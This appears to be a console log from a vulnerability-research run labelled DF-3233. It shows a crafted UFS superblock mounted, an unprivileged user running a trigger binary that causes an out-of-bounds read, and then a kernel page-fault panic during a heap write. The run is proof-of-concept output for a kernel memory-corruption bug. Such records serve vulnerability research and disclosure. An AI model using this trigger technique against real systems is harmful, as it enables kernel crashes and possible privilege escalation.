DF-3233 run 1 — crafted qbmask=0x1ffff mount, free slot at 0x30e00
==================================================================
[root setup]
[ino 10624] after : size=200704 db0=20000..db11=20088 ib0=21600
[sb-after] qbmask=1ffff  (blkoff(0x30e00) = 0x10e00)
[*] dirbuf will land 60928 bytes past the 8192-byte block-24 buffer
/dev/vn0 on /mnt (ufs, local)

$ su -m maxx -c "/tmp/trig3233 /mnt/d"        # open(O_CREAT|O_EXCL)
[*] trigger: uid=1001 creat /mnt/d/zz
open: File exists                              <- OOB-read state machine
[*] survived
$ ls -l /mnt/d/zz
ls: /mnt/d/zz: No such file or directory       <- name does NOT exist

$ ls -l /mnt/d/zz; su -m maxx -c "touch /mnt/d/zz"
ls: /mnt/d/zz: No such file or directory
<hang — guest entered kernel debugger>

console (panic.txt):
Fatal trap 12: page fault while in kernel mode
fault virtual address = 0xfffff8005c86a000
fault code = supervisor write data, page not present
instruction pointer = 0x8:0xffffffff80bca655
current process = 903
Stopped at      memset+0xd5:   repe stosq %es:(%rdi)